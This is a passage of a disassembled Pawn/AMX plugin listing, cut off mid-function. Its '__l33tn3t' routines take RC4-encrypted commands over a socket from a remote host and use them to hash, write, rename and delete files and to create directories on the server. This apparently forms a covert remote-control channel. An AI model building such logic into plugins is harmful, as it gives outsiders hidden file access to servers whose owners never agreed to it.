0xE74 FILL 0xFA0 ; 1000 cells
0xE7C BREAK
0xE80 BREAK
0xE84 PUSH.C 0x1
0xE8C PUSH 0x244 ; __l33tn3t_socket
0xE94 PUSH.C 0x8
0xE9C SYSREQ.C 0x15 ; socket_change
0xEA4 STACK 0xC ; free 3 cells
0xEAC JZER 0x1864
0xEB4 BREAK
0xEB8 PUSH.ADR 0xFFFFF000 ; data[1000]
0xEC0 PUSH.ADR 0xFFFFFFA0 ; command[24]
0xEC8 PUSH.C 0x8
0xED0 CALL 0x1C34 ; stock __l33tn3t_sock_recv(command[24],data[1000])
0xED8 NOT
0xEDC JZER 0xEF0
0xEE4 BREAK
0xEE8 JUMP 0xE80
0xEF0 BREAK
0xEF4 PUSH.C 0x0
0xEFC PUSH.C 0x310
0xF04 PUSH.ADR 0xFFFFFFA0 ; command[24]
0xF0C PUSH.C 0xC
0xF14 SYSREQ.C 0x16 ; equal
0xF1C STACK 0x10 ; free 4 cells
0xF24 JZER 0x10D0
0xF2C BREAK
0xF30 PUSH.ADR 0xFFFFF000 ; data[1000]
0xF38 PUSH.C 0x4
0xF40 SYSREQ.C 0x1 ; strlen
0xF48 STACK 0x8 ; free 2 cells
0xF50 JZER 0xF88
0xF58 PUSH.ADR 0xFFFFF000 ; data[1000]
0xF60 PUSH.C 0x4
0xF68 CALL 0x20C8 ; stock bool:Validator_FileName(FileName[])
0xF70 JZER 0xF88
0xF78 CONST.pri 0x1
0xF80 JUMP 0xF8C
0xF88 ZERO.pri
0xF8C JZER 0x10C8
0xF94 BREAK
; new file_md5[34]
0xF98 STACK 0xFFFFFF78 ; allocate 34 cells
0xFA0 ZERO.pri
0xFA4 ADDR.alt 0xFFFFEF78
0xFAC FILL 0x88 ; 34 cells
0xFB4 BREAK
0xFB8 PUSH.ADR 0xFFFFF000 ; data[1000]
0xFC0 PUSH.C 0x4
0xFC8 SYSREQ.C 0x17 ; file_exists
0xFD0 STACK 0x8 ; free 2 cells
0xFD8 JZER 0x1014
0xFE0 BREAK
0xFE4 PUSH.ADR 0xFFFFEF78 ; file_md5[34]
0xFEC PUSH.ADR 0xFFFFF000 ; data[1000]
0xFF4 PUSH.C 0x8
0xFFC SYSREQ.C 0x18 ; md5_file
0x1004 STACK 0xC ; free 3 cells
0x100C JUMP 0x1030
0x1014 BREAK
0x1018 ADDR.alt 0xFFFFEF78
0x1020 CONST.pri 0x33C
0x1028 MOVS 0x8
0x1030 BREAK
0x1034 PUSH.ADR 0xFFFFEF78 ; file_md5[34]
0x103C LOAD.pri 0x1F8 ; __l33tn3t_separator
0x1044 HEAP 0x4
0x104C STOR.I
0x1050 PUSH.alt
0x1054 PUSH.ADR 0xFFFFF000 ; data[1000]
0x105C PUSH.C 0x344
0x1064 PUSH.C 0x3E7
0x106C PUSH.ADR 0xFFFFF000 ; data[1000]
0x1074 PUSH.C 0x18
0x107C SYSREQ.C 0x6 ; format
0x1084 STACK 0x1C ; free 7 cells
0x108C HEAP 0xFFFFFFFC
0x1094 BREAK
0x1098 PUSH.C 0xFFFFFFFF
0x10A0 PUSH.ADR 0xFFFFF000 ; data[1000]
0x10A8 PUSH.ADR 0xFFFFFFA0 ; command[24]
0x10B0 PUSH.C 0xC
0x10B8 CALL 0x1E70 ; stock __l33tn3t_sock_send(command[],data[],data_len)
0x10C0 STACK 0x88 ; free 34 cells
0x10C8 JUMP 0x185C
0x10D0 BREAK
0x10D4 PUSH.C 0x0
0x10DC PUSH.C 0x360
0x10E4 PUSH.ADR 0xFFFFFFA0 ; command[24]
0x10EC PUSH.C 0xC
0x10F4 SYSREQ.C 0x16 ; equal
0x10FC STACK 0x10 ; free 4 cells
0x1104 JZER 0x1768
0x110C BREAK
; new max_segment_len
0x1110 PUSH.C 0x344
0x1118 BREAK
; new file_name[128]
0x111C STACK 0xFFFFFE00 ; allocate 128 cells
0x1124 ZERO.pri
0x1128 ADDR.alt 0xFFFFEDFC
0x1130 FILL 0x200 ; 128 cells
; new current_segment
0x1138 PUSH.C 0x0
; new segment_len
0x1140 PUSH.C 0x0
; new file_md5[34]
0x1148 STACK 0xFFFFFF78 ; allocate 34 cells
0x1150 ZERO.pri
0x1154 ADDR.alt 0xFFFFED6C
0x115C FILL 0x88 ; 34 cells
; new tmp_file_name[256]
0x1164 STACK 0xFFFFFC00 ; allocate 256 cells
0x116C ZERO.pri
0x1170 ADDR.alt 0xFFFFE96C
0x1178 FILL 0x400 ; 256 cells
0x1180 BREAK
0x1184 PUSH.ADR 0xFFFFF000 ; data[1000]
0x118C PUSH.C 0x7F
0x1194 PUSH.ADR 0xFFFFEDFC ; file_name[128]
0x119C PUSH.C 0xC
0x11A4 SYSREQ.C 0x19 ; copy
0x11AC STACK 0x10 ; free 4 cells
0x11B4 BREAK
0x11B8 PUSH.ADR 0xFFFFEDFC ; file_name[128]
0x11C0 PUSH.C 0x4
0x11C8 CALL 0x20C8 ; stock bool:Validator_FileName(FileName[])
0x11D0 JZER 0x1758
0x11D8 BREAK
0x11DC PUSH.ADR 0xFFFFEDFC ; file_name[128]
0x11E4 PUSH.C 0xFF
0x11EC PUSH.ADR 0xFFFFE96C ; tmp_file_name[256]
0x11F4 PUSH.C 0xC
0x11FC SYSREQ.C 0x19 ; copy
0x1204 STACK 0x10 ; free 4 cells
0x120C BREAK
0x1210 PUSH.C 0x38C
0x1218 PUSH.C 0x384
0x1220 PUSH.C 0xFF
0x1228 PUSH.ADR 0xFFFFE96C ; tmp_file_name[256]
0x1230 PUSH.C 0x10
0x1238 CALL 0x8 ; stock replace_all(string[],len,what[],with[])
0x1240 BREAK
0x1244 PUSH.ADR 0xFFFFE96C ; tmp_file_name[256]
0x124C PUSH.C 0x1FC
0x1254 PUSH.C 0x394
0x125C PUSH.C 0xFF
0x1264 PUSH.ADR 0xFFFFE96C ; tmp_file_name[256]
0x126C PUSH.C 0x14
0x1274 SYSREQ.C 0x6 ; format
0x127C STACK 0x18 ; free 6 cells
0x1284 BREAK
0x1288 ADDR.pri 0xFFFFF000 ; data[1000]
0x1290 ADD.C 0x200 ; signed: 512
0x1298 LOAD.I
0x129C PUSH.pri
0x12A0 ADDR.pri 0xFFFFF000 ; data[1000]
0x12A8 ADD.C 0x204 ; signed: 516
0x12B0 LOAD.I
0x12B4 MOVE.alt
0x12B8 CONST.pri 0x8
0x12C0 XCHG
0x12C4 SHL 0x2B
0x12CC ADD
0x12D0 STOR.S.pri 0xFFFFEDF8 ; current_segment
0x12D8 BREAK
0x12DC ADDR.pri 0xFFFFF000 ; data[1000]
0x12E4 ADD.C 0x208 ; signed: 520
0x12EC LOAD.I
0x12F0 PUSH.pri
0x12F4 ADDR.pri 0xFFFFF000 ; data[1000]
0x12FC ADD.C 0x20C ; signed: 524
0x1304 LOAD.I
0x1308 MOVE.alt
0x130C CONST.pri 0x8
0x1314 XCHG
0x1318 SHL 0x2B
0x1320 ADD
0x1324 STOR.S.pri 0xFFFFEDF4 ; segment_len
0x132C BREAK
0x1330 ADDR.pri 0xFFFFF000 ; data[1000]
0x1338 ADD.C 0x210 ; signed: 528
0x1340 PUSH.pri
0x1344 PUSH.C 0x20
0x134C PUSH.ADR 0xFFFFED6C ; file_md5[34]
0x1354 PUSH.C 0xC
0x135C SYSREQ.C 0x19 ; copy
0x1364 STACK 0x10 ; free 4 cells
0x136C BREAK
; new file
0x1370 STACK 0xFFFFFFFC ; allocate 1 cells
0x1378 PUSH.C 0x3AC
0x1380 PUSH.ADR 0xFFFFE96C ; tmp_file_name[256]
0x1388 PUSH.C 0x8
0x1390 SYSREQ.C 0x1A ; fopen
0x1398 STACK 0xC ; free 3 cells
0x13A0 STOR.S.pri 0xFFFFE968 ; file
0x13A8 BREAK
0x13AC LOAD.S.pri 0xFFFFE968 ; file
0x13B4 JZER 0x1750
0x13BC BREAK
0x13C0 PUSH.C 0x0
0x13C8 LOAD.S.pri 0xFFFFEDF8 ; current_segment
0x13D0 LOAD.S.alt 0xFFFFEFFC ; max_segment_len
0x13D8 SMUL
0x13DC PUSH.pri
0x13E0 PUSH.S 0xFFFFE968 ; file
0x13E8 PUSH.C 0xC
0x13F0 SYSREQ.C 0x1B ; fseek
0x13F8 STACK 0x10 ; free 4 cells
0x1400 BREAK
; new i
0x1404 PUSH.C 0x0
0x140C JUMP 0x1420
0x1414 BREAK
0x1418 INC.S 0xFFFFE964 ; i
0x1420 LOAD.S.pri 0xFFFFE964 ; i
0x1428 LOAD.S.alt 0xFFFFEDF4 ; segment_len
0x1430 JSGEQ 0x1498
0x1438 BREAK
0x143C ADDR.pri 0xFFFFF000 ; data[1000]
0x1444 PUSH.pri
0x1448 LOAD.S.pri 0xFFFFE964 ; i
0x1450 ADD.C 0xA4 ; signed: 164
0x1458 BOUNDS 0x3E7
0x1460 POP.alt
0x1464 IDXADDR
0x1468 LOAD.I
0x146C PUSH.pri
0x1470 PUSH.S 0xFFFFE968 ; file
0x1478 PUSH.C 0x8
0x1480 SYSREQ.C 0x1C ; fputc
0x1488 STACK 0xC ; free 3 cells
0x1490 JUMP 0x1414
0x1498 STACK 0x4 ; free 1 cells
0x14A0 BREAK
0x14A4 PUSH.S 0xFFFFE968 ; file
0x14AC PUSH.C 0x4
0x14B4 SYSREQ.C 0x1D ; fclose
0x14BC STACK 0x8 ; free 2 cells
0x14C4 BREAK
; new tmp_file_md5[34]
0x14C8 STACK 0xFFFFFF78 ; allocate 34 cells
0x14D0 ZERO.pri
0x14D4 ADDR.alt 0xFFFFE8E0
0x14DC FILL 0x88 ; 34 cells
0x14E4 BREAK
0x14E8 PUSH.ADR 0xFFFFE8E0 ; tmp_file_md5[34]
0x14F0 PUSH.ADR 0xFFFFE96C ; tmp_file_name[256]
0x14F8 PUSH.C 0x8
0x1500 SYSREQ.C 0x18 ; md5_file
0x1508 STACK 0xC ; free 3 cells
0x1510 BREAK
0x1514 PUSH.C 0x0
0x151C PUSH.ADR 0xFFFFED6C ; file_md5[34]
0x1524 PUSH.ADR 0xFFFFE8E0 ; tmp_file_md5[34]
0x152C PUSH.C 0xC
0x1534 SYSREQ.C 0x16 ; equal
0x153C STACK 0x10 ; free 4 cells
0x1544 JZER 0x16B8
0x154C BREAK
; new temp_dir_path[128]
0x1550 STACK 0xFFFFFE00 ; allocate 128 cells
0x1558 ZERO.pri
0x155C ADDR.alt 0xFFFFE6E0
0x1564 FILL 0x200 ; 128 cells
0x156C BREAK
; new file_name_len
0x1570 STACK 0xFFFFFFFC ; allocate 1 cells
0x1578 PUSH.ADR 0xFFFFEDFC ; file_name[128]
0x1580 PUSH.C 0x4
0x1588 SYSREQ.C 0x1 ; strlen
0x1590 STACK 0x8 ; free 2 cells
0x1598 STOR.S.pri 0xFFFFE6DC ; file_name_len
0x15A0 BREAK
; new i
0x15A4 PUSH.C 0x0
0x15AC JUMP 0x15C0
0x15B4 BREAK
0x15B8 INC.S 0xFFFFE6D8 ; i
0x15C0 LOAD.S.pri 0xFFFFE6D8 ; i
0x15C8 LOAD.S.alt 0xFFFFE6DC ; file_name_len
0x15D0 JSGEQ 0x1674
0x15D8 BREAK
0x15DC ADDR.alt 0xFFFFEDFC
0x15E4 LOAD.S.pri 0xFFFFE6D8 ; i
0x15EC BOUNDS 0x7F
0x15F4 LIDX
0x15F8 EQ.C.pri 0x2F
0x1600 JZER 0x166C
0x1608 BREAK
0x160C PUSH.ADR 0xFFFFEDFC ; file_name[128]
0x1614 LOAD.S.pri 0xFFFFE6D8 ; i
0x161C ADD.C 0x1 ; signed: 1
0x1624 PUSH.pri
0x1628 PUSH.ADR 0xFFFFE6E0 ; temp_dir_path[128]
0x1630 PUSH.C 0xC
0x1638 SYSREQ.C 0x19 ; copy
0x1640 STACK 0x10 ; free 4 cells
0x1648 BREAK
0x164C PUSH.ADR 0xFFFFE6E0 ; temp_dir_path[128]
0x1654 PUSH.C 0x4
0x165C SYSREQ.C 0xC ; mkdir
0x1664 STACK 0x8 ; free 2 cells
0x166C JUMP 0x15B4
0x1674 STACK 0x4 ; free 1 cells
0x167C BREAK
0x1680 PUSH.C 0x1
0x1688 PUSH.ADR 0xFFFFEDFC ; file_name[128]
0x1690 PUSH.ADR 0xFFFFE96C ; tmp_file_name[256]
0x1698 PUSH.C 0xC
0x16A0 SYSREQ.C 0x1E ; rename_file
0x16A8 STACK 0x10 ; free 4 cells
0x16B0 STACK 0x204 ; free 129 cells
0x16B8 BREAK
0x16BC PUSH.ADR 0xFFFFEDF8 ; current_segment
0x16C4 LOAD.pri 0x1F8 ; __l33tn3t_separator
0x16CC HEAP 0x4
0x16D4 STOR.I
0x16D8 PUSH.alt
0x16DC PUSH.ADR 0xFFFFEDFC ; file_name[128]
0x16E4 PUSH.C 0x3BC
0x16EC PUSH.C 0x3E7
0x16F4 PUSH.ADR 0xFFFFF000 ; data[1000]
0x16FC PUSH.C 0x18
0x1704 SYSREQ.C 0x6 ; format
0x170C STACK 0x1C ; free 7 cells
0x1714 HEAP 0xFFFFFFFC
0x171C BREAK
0x1720 PUSH.C 0xFFFFFFFF
0x1728 PUSH.ADR 0xFFFFF000 ; data[1000]
0x1730 PUSH.C 0x3D8
0x1738 PUSH.C 0xC
0x1740 CALL 0x1E70 ; stock __l33tn3t_sock_send(command[],data[],data_len)
0x1748 STACK 0x88 ; free 34 cells
0x1750 STACK 0x4 ; free 1 cells
0x1758 STACK 0x694 ; free 421 cells
0x1760 JUMP 0x185C
0x1768 BREAK
0x176C PUSH.C 0x0
0x1774 PUSH.C 0x408
0x177C PUSH.ADR 0xFFFFFFA0 ; command[24]
0x1784 PUSH.C 0xC
0x178C SYSREQ.C 0x16 ; equal
0x1794 STACK 0x10 ; free 4 cells
0x179C JZER 0x185C
0x17A4 BREAK
0x17A8 PUSH.ADR 0xFFFFF000 ; data[1000]
0x17B0 PUSH.C 0x4
0x17B8 SYSREQ.C 0x1 ; strlen
0x17C0 STACK 0x8 ; free 2 cells
0x17C8 JZER 0x1800
0x17D0 PUSH.ADR 0xFFFFF000 ; data[1000]
0x17D8 PUSH.C 0x4
0x17E0 CALL 0x20C8 ; stock bool:Validator_FileName(FileName[])
0x17E8 JZER 0x1800
0x17F0 CONST.pri 0x1
0x17F8 JUMP 0x1804
0x1800 ZERO.pri
0x1804 JZER 0x185C
0x180C BREAK
0x1810 PUSH.ADR 0xFFFFF000 ; data[1000]
0x1818 PUSH.C 0x4
0x1820 SYSREQ.C 0x17 ; file_exists
0x1828 STACK 0x8 ; free 2 cells
0x1830 JZER 0x185C
0x1838 BREAK
0x183C PUSH.ADR 0xFFFFF000 ; data[1000]
0x1844 PUSH.C 0x4
0x184C SYSREQ.C 0x1F ; delete_file
0x1854 STACK 0x8 ; free 2 cells
0x185C JUMP 0xE80
0x1864 STACK 0x1000 ; free 1024 cells
0x186C ZERO.pri
0x1870 RETN
0x1874 PROC ; stock __l33tn3t_plugin_end()
0x1878 BREAK
0x187C BREAK
0x1880 LOAD.pri 0x238 ; bool:__l33tn3t_enabled
0x1888 NOT
0x188C JZER 0x18A0
0x1894 BREAK
0x1898 ZERO.pri
0x189C RETN
0x18A0 BREAK
0x18A4 PUSH.C 0x0
0x18AC PUSH 0x240 ; __l33tn3t_socket_check_taskid
0x18B4 PUSH.C 0x8
0x18BC SYSREQ.C 0x20 ; task_exists
0x18C4 STACK 0xC ; free 3 cells
0x18CC JZER 0x1900
0x18D4 BREAK
0x18D8 PUSH.C 0x0
0x18E0 PUSH 0x240 ; __l33tn3t_socket_check_taskid
0x18E8 PUSH.C 0x8
0x18F0 SYSREQ.C 0x21 ; remove_task
0x18F8 STACK 0xC ; free 3 cells
0x1900 BREAK
0x1904 PUSH.C 0x0
0x190C CALL 0x198C ; stock __l33tn3t_flush_temp()
0x1914 BREAK
0x1918 PUSH.C 0x1FC
0x1920 PUSH.C 0x4
0x1928 SYSREQ.C 0x22 ; rmdir
0x1930 STACK 0x8 ; free 2 cells
0x1938 BREAK
0x193C LOAD.pri 0x244 ; __l33tn3t_socket
0x1944 MOVE.alt
0x1948 ZERO.pri
0x194C JSGEQ 0x1984
0x1954 BREAK
0x1958 PUSH 0x244 ; __l33tn3t_socket
0x1960 PUSH.C 0x4
0x1968 SYSREQ.C 0x23 ; socket_close
0x1970 STACK 0x8 ; free 2 cells
0x1978 BREAK
0x197C ZERO 0x244 ; __l33tn3t_socket
0x1984 ZERO.pri
0x1988 RETN
0x198C PROC ; stock __l33tn3t_flush_temp()
0x1990 BREAK
0x1994 BREAK
; new tmp_file_name[256]
0x1998 STACK 0xFFFFFC00 ; allocate 256 cells
0x19A0 ZERO.pri
0x19A4 ADDR.alt 0xFFFFFC00
0x19AC FILL 0x400 ; 256 cells
0x19B4 BREAK
; new dir
0x19B8 STACK 0xFFFFFFFC ; allocate 1 cells
0x19C0 PUSH.C 0xFF
0x19C8 PUSH.ADR 0xFFFFFC00 ; tmp_file_name[256]
0x19D0 PUSH.C 0x1FC
0x19D8 PUSH.C 0xC
0x19E0 SYSREQ.C 0x24 ; open_dir
0x19E8 STACK 0x10 ; free 4 cells
0x19F0 STOR.S.pri 0xFFFFFBFC ; dir
0x19F8 BREAK
0x19FC LOAD.S.pri 0xFFFFFBFC ; dir
0x1A04 NOT
0x1A08 JZER 0x1A24
0x1A10 BREAK
0x1A14 ZERO.pri
0x1A18 STACK 0x404 ; free 257 cells
0x1A20 RETN
0x1A24 BREAK
0x1A28 BREAK
0x1A2C PUSH.C 0x0
0x1A34 PUSH.C 0x434
0x1A3C PUSH.ADR 0xFFFFFC00 ; tmp_file_name[256]
0x1A44 PUSH.C 0xC
0x1A4C SYSREQ.C 0x16 ; equal
0x1A54 STACK 0x10 ; free 4 cells
0x1A5C NOT
0x1A60 JZER 0x1AB4
0x1A68 PUSH.C 0x0
0x1A70 PUSH.C 0x43C
0x1A78 PUSH.ADR 0xFFFFFC00 ; tmp_file_name[256]
0x1A80 PUSH.C 0xC
0x1A88 SYSREQ.C 0x16 ; equal
0x1A90 STACK 0x10 ; free 4 cells
0x1A98 NOT
0x1A9C JZER 0x1AB4
0x1AA4 CONST.pri 0x1
0x1AAC JUMP 0x1AB8
0x1AB4 ZERO.pri
0x1AB8 JZER 0x1B28
0x1AC0 BREAK
0x1AC4 PUSH.ADR 0xFFFFFC00 ; tmp_file_name[256]
0x1ACC PUSH.C 0x1FC
0x1AD4 PUSH.C 0x448
0x1ADC PUSH.C 0xFF
0x1AE4 PUSH.ADR 0xFFFFFC00 ; tmp_file_name[256]
0x1AEC PUSH.C 0x14
0x1AF4 SYSREQ.C 0x6 ; format
0x1AFC STACK 0x18 ; free 6 cells
0x1B04 BREAK
0x1B08 PUSH.ADR 0xFFFFFC00 ; tmp_file_name[256]
0x1B10 PUSH.C 0x4
0x1B18 SYSREQ.C 0x1F ; delete_file
0x1B20 STACK 0x8 ; free 2 cells
0x1B28 BREAK
0x1B2C PUSH.C 0xFF
0x1B34 PUSH.ADR 0xFFFFFC00 ; tmp_file_name[256]
0x1B3C PUSH.S 0xFFFFFBFC ; dir
0x1B44 PUSH.C 0xC
0x1B4C SYSREQ.C 0x25 ; next_file
0x1B54 STACK 0x10 ; free 4 cells
0x1B5C JZER 0x1B6C
0x1B64 JUMP 0x1A28
0x1B6C BREAK
0x1B70 PUSH.S 0xFFFFFBFC ; dir
0x1B78 PUSH.C 0x4
0x1B80 SYSREQ.C 0x26 ; close_dir
0x1B88 STACK 0x8 ; free 2 cells
0x1B90 STACK 0x404 ; free 257 cells
0x1B98 ZERO.pri
0x1B9C RETN
0x1BA0 PROC ; stock __l33tn3t_memcpy(dst[],tocopy,src[])
0x1BA4 BREAK
0x1BA8 BREAK
; new i
0x1BAC PUSH.C 0x0
0x1BB4 JUMP 0x1BC8
0x1BBC BREAK
0x1BC0 INC.S 0xFFFFFFFC ; i
0x1BC8 LOAD.S.pri 0xFFFFFFFC ; i
0x1BD0 LOAD.S.alt 0x10 ; tocopy
0x1BD8 JSGEQ 0x1C24
0x1BE0 BREAK
0x1BE4 LOAD.S.pri 0xFFFFFFFC ; i
0x1BEC LOAD.S.alt 0xC ; dst[]
0x1BF4 IDXADDR
0x1BF8 PUSH.pri
0x1BFC LOAD.S.pri 0xFFFFFFFC ; i
0x1C04 LOAD.S.alt 0x14 ; src[]
0x1C0C IDXADDR
0x1C10 LOAD.I
0x1C14 POP.alt
0x1C18 STOR.I
0x1C1C JUMP 0x1BBC
0x1C24 STACK 0x4 ; free 1 cells
0x1C2C ZERO.pri
0x1C30 RETN
0x1C34 PROC ; stock __l33tn3t_sock_recv(command[24],data[1000])
0x1C38 BREAK
0x1C3C BREAK
; new packet[1031]
0x1C40 STACK 0xFFFFEFE4 ; allocate 1031 cells
0x1C48 ZERO.pri
0x1C4C ADDR.alt 0xFFFFEFE4
0x1C54 FILL 0x101C ; 1031 cells
0x1C5C BREAK
; new received_bytes
0x1C60 STACK 0xFFFFFFFC ; allocate 1 cells
0x1C68 PUSH.C 0x407
0x1C70 PUSH.ADR 0xFFFFEFE4 ; packet[1031]
0x1C78 PUSH 0x244 ; __l33tn3t_socket
0x1C80 PUSH.C 0xC
0x1C88 SYSREQ.C 0x27 ; socket_recv
0x1C90 STACK 0x10 ; free 4 cells
0x1C98 STOR.S.pri 0xFFFFEFE0 ; received_bytes
0x1CA0 BREAK
0x1CA4 LOAD.S.pri 0xFFFFEFE0 ; received_bytes
0x1CAC CONST.alt 0x406
0x1CB4 JEQ 0x1CD0
0x1CBC BREAK
0x1CC0 ZERO.pri
0x1CC4 STACK 0x1020 ; free 1032 cells
0x1CCC RETN
0x1CD0 BREAK
; new i
0x1CD4 PUSH.C 0x0
0x1CDC JUMP 0x1CF0
0x1CE4 BREAK
0x1CE8 INC.S 0xFFFFEFDC ; i
0x1CF0 LOAD.S.pri 0xFFFFEFDC ; i
0x1CF8 CONST.alt 0x406
0x1D00 JSGEQ 0x1D4C
0x1D08 BREAK
0x1D0C ADDR.alt 0xFFFFEFE4
0x1D14 LOAD.S.pri 0xFFFFEFDC ; i
0x1D1C BOUNDS 0x406
0x1D24 IDXADDR
0x1D28 PUSH.pri
0x1D2C LOAD.I
0x1D30 CONST.alt 0xFF
0x1D38 AND
0x1D3C POP.alt
0x1D40 STOR.I
0x1D44 JUMP 0x1CE4
0x1D4C STACK 0x4 ; free 1 cells
0x1D54 BREAK
0x1D58 PUSH.C 0x406
0x1D60 PUSH.ADR 0xFFFFEFE4 ; packet[1031]
0x1D68 PUSH.C 0x150
0x1D70 PUSH.C 0x4
0x1D78 SYSREQ.C 0x1 ; strlen
0x1D80 STACK 0x8 ; free 2 cells
0x1D88 PUSH.pri
0x1D8C PUSH.C 0x150
0x1D94 PUSH.C 0x10
0x1D9C CALL 0x23C4 ; stock Encryption_RC4(Key[],KeyLen,Buffer[],BufferLen)
0x1DA4 BREAK
0x1DA8 ADDR.pri 0xFFFFEFE4 ; packet[1031]
0x1DB0 ADD.C 0x14 ; signed: 20
0x1DB8 LOAD.I
0x1DBC CONST.alt 0x23
0x1DC4 JEQ 0x1DE0
0x1DCC BREAK
0x1DD0 ZERO.pri
0x1DD4 STACK 0x1020 ; free 1032 cells
0x1DDC RETN
0x1DE0 BREAK
0x1DE4 ADDR.pri 0xFFFFEFE4 ; packet[1031]
0x1DEC ADD.C 0x18 ; signed: 24
0x1DF4 PUSH.pri
0x1DF8 PUSH.C 0x17
0x1E00 PUSH.S 0xC ; command[24]
0x1E08 PUSH.C 0xC
0x1E10 SYSREQ.C 0x19 ; copy
0x1E18 STACK 0x10 ; free 4 cells
0x1E20 BREAK
0x1E24 ADDR.pri 0xFFFFEFE4 ; packet[1031]
0x1E2C ADD.C 0x78 ; signed: 120
0x1E34 PUSH.pri
0x1E38 PUSH.C 0x3E8
0x1E40 PUSH.S 0x10 ; data[1000]
0x1E48 PUSH.C 0xC
0x1E50 CALL 0x1BA0 ; stock __l33tn3t_memcpy(dst[],tocopy,src[])
0x1E58 BREAK
0x1E5C CONST.pri 0x1
0x1E64 STACK 0x1020 ; free 1032 cells
0x1E6C RETN
0x1E70 PROC ; stock __l33tn3t_sock_send(command[],data[],data_len)
0x1E74 BREAK
0x1E78 BREAK
; new packet[1030]
0x1E7C STACK 0xFFFFEFE8 ; allocate 1030 cells
0x1E84 ZERO.pri
0x1E88 ADDR.alt 0xFFFFEFE8
0x1E90 FILL 0x1018 ; 1030 cells
0x1E98 BREAK
; new i
0x1E9C PUSH.C 0x0
0x1EA4 JUMP 0x1EB8
0x1EAC BREAK
0x1EB0 INC.S 0xFFFFEFE4 ; i
0x1EB8 LOAD.S.pri 0xFFFFEFE4 ; i
0x1EC0 CONST.alt 0x4
0x1EC8 JSGRTR 0x1F2C
0x1ED0 BREAK
0x1ED4 ADDR.alt 0xFFFFEFE8
0x1EDC LOAD.S.pri 0xFFFFEFE4 ; i
0x1EE4 BOUNDS 0x405
0x1EEC IDXADDR
0x1EF0 PUSH.pri
0x1EF4 PUSH.C 0xFF
0x1EFC PUSH.C 0x0
0x1F04 PUSH.C 0x8
0x1F0C SYSREQ.C 0x13 ; random_num
0x1F14 STACK 0xC ; free 3 cells
0x1F1C POP.alt
0x1F20 STOR.I
0x1F24 JUMP 0x1EAC
0x1F2C STACK 0x4 ; free 1 cells
0x1F34 BREAK
0x1F38 ADDR.pri 0xFFFFEFE8 ; packet[1030]
0x1F40 ADD.C 0x14 ; signed: 20
0x1F48 MOVE.alt
0x1F4C CONST.pri 0x23
0x1F54 STOR.I
0x1F58 BREAK
0x1F5C PUSH.S 0xC ; command[]
0x1F64 PUSH.C 0x17
0x1F6C ADDR.pri 0xFFFFEFE8 ; packet[1030]
0x1F74 ADD.C 0x18 ; signed: 24
0x1F7C PUSH.pri
0x1F80 PUSH.C 0xC
0x1F88 SYSREQ.C 0x19 ; copy
0x1F90 STACK 0x10 ; free 4 cells
0x1F98 BREAK
0x1F9C PUSH.S 0x10 ; data[]
0x1FA4 LOAD.S.pri 0x14 ; data_len
0x1FAC CONST.alt 0xFFFFFFFF
0x1FB4 JEQ 0x1FCC
0x1FBC LOAD.S.pri 0x14 ; data_len
0x1FC4 JUMP 0x2010
0x1FCC PUSH.S 0x10 ; data[]
0x1FD4 PUSH.C 0x4
0x1FDC SYSREQ.C 0x1 ; strlen
0x1FE4 STACK 0x8 ; free 2 cells
0x1FEC PUSH.pri
0x1FF0 PUSH.C 0x3E8
0x1FF8 PUSH.C 0x8
0x2000 SYSREQ.C 0x28 ; min
0x2008 STACK 0xC ; free 3 cells
0x2010 PUSH.pri
0x2014 ADDR.pri 0xFFFFEFE8 ; packet[1030]
0x201C ADD.C 0x78 ; signed: 120
0x2024 PUSH.pri
0x2028 PUSH.C 0xC
0x2030 CALL 0x1BA0 ; stock __l33tn3t_memcpy(dst[],tocopy,src[])
0x2038 BREAK
0x203C PUSH.C 0x406
0x2044 PUSH.ADR 0xFFFFEFE8 ; packet[1030]
0x204C PUSH.C 0x150
0x2054 PUSH.C 0x4
0x205C SYSREQ.C 0x1 ; strlen
0x2064 STACK 0x8 ; free 2 cells
0x206C PUSH.pri
0x2070 PUSH.C 0x150
0x2078 PUSH.C 0x10
0x2080 CALL 0x23C4 ; stock Encryption_RC4(Key[],KeyLen,Buffer[],BufferLen)
0x2088 BREAK
0x208C PUSH.C 0x406
0x2094 PUSH.ADR 0xFFFFEFE8 ; packet[1030]
0x209C PUSH 0x244 ; __l33tn3t_socket
0x20A4 PUSH.C 0xC
0x20AC SYSREQ.C 0x29 ; socket_send2
0x20B4 STACK 0x10 ; free 4 cells
0x20BC STACK 0x1018 ; free 1030 cells
0x20C4 RETN
0x20C8 PROC ; stock bool:Validator_FileName(FileName[])
0x20CC BREAK
0x20D0 BREAK
; new Len
0x20D4 STACK 0xFFFFFFFC ; allocate 1 cells
0x20DC PUSH.S 0xC ; FileName[]
0x20E4 PUSH.C 0x4
0x20EC SYSREQ.C 0x1 ; strlen
0x20F4 STACK 0x8 ; free 2 cells
0x20FC STOR.S.pri 0xFFFFFFFC ; Len
0x2104 BREAK
; new I
0x2108 PUSH.C 0x0
0x2110 JUMP 0x2124
0x2118 BREAK
0x211C INC.S 0xFFFFFFF8 ; I
0x2124 LOAD.S.pri 0xFFFFFFF8 ; I
0x212C LOAD.S.alt 0xFFFFFFFC ; Len
0x2134 JSGEQ 0x23A4
0x213C BREAK
0x2140 LOAD.S.pri 0xFFFFFFF8 ; I
0x2148 LOAD.S.alt 0xC ; FileName[]
0x2150 IDXADDR
0x2154 LOAD.I
0x2158 EQ.C.pri 0x2E
0x2160 JZER 0x2174
0x2168 BREAK
0x216C JUMP 0x2118
0x2174 BREAK
0x2178 LOAD.S.pri 0xFFFFFFF8 ; I
0x2180 LOAD.S.alt 0xC ; FileName[]
0x2188 IDXADDR
0x218C LOAD.I
0x2190 EQ.C.pri 0x5F
0x2198 JZER 0x21AC
0x21A0 BREAK
0x21A4 JUMP 0x2118
0x21AC BREAK
0x21B0 LOAD.S.pri 0xFFFFFFF8 ; I
0x21B8 LOAD.S.alt 0xC ; FileName[]
0x21C0 IDXADDR
0x21C4 LOAD.I
0x21C8 EQ.C.pri 0x2F
0x21D0 JZER 0x21E4
0x21D8 BREAK
0x21DC JUMP 0x2118
0x21E4 BREAK
0x21E8 LOAD.S.pri 0xFFFFFFF8 ; I
0x21F0 LOAD.S.alt 0xC ; FileName[]
0x21F8 IDXADDR
0x21FC LOAD.I
0x2200 MOVE.alt
0x2204 CONST.pri 0x61
0x220C XCHG
0x2210 JSLESS 0x2258
0x2218 LOAD.S.pri 0xFFFFFFF8 ; I
0x2220 LOAD.S.alt 0xC ; FileName[]
0x2228 IDXADDR
0x222C LOAD.I
0x2230 MOVE.alt
0x2234 CONST.pri 0x7A
0x223C XCHG
0x2240 JSGRTR 0x2258
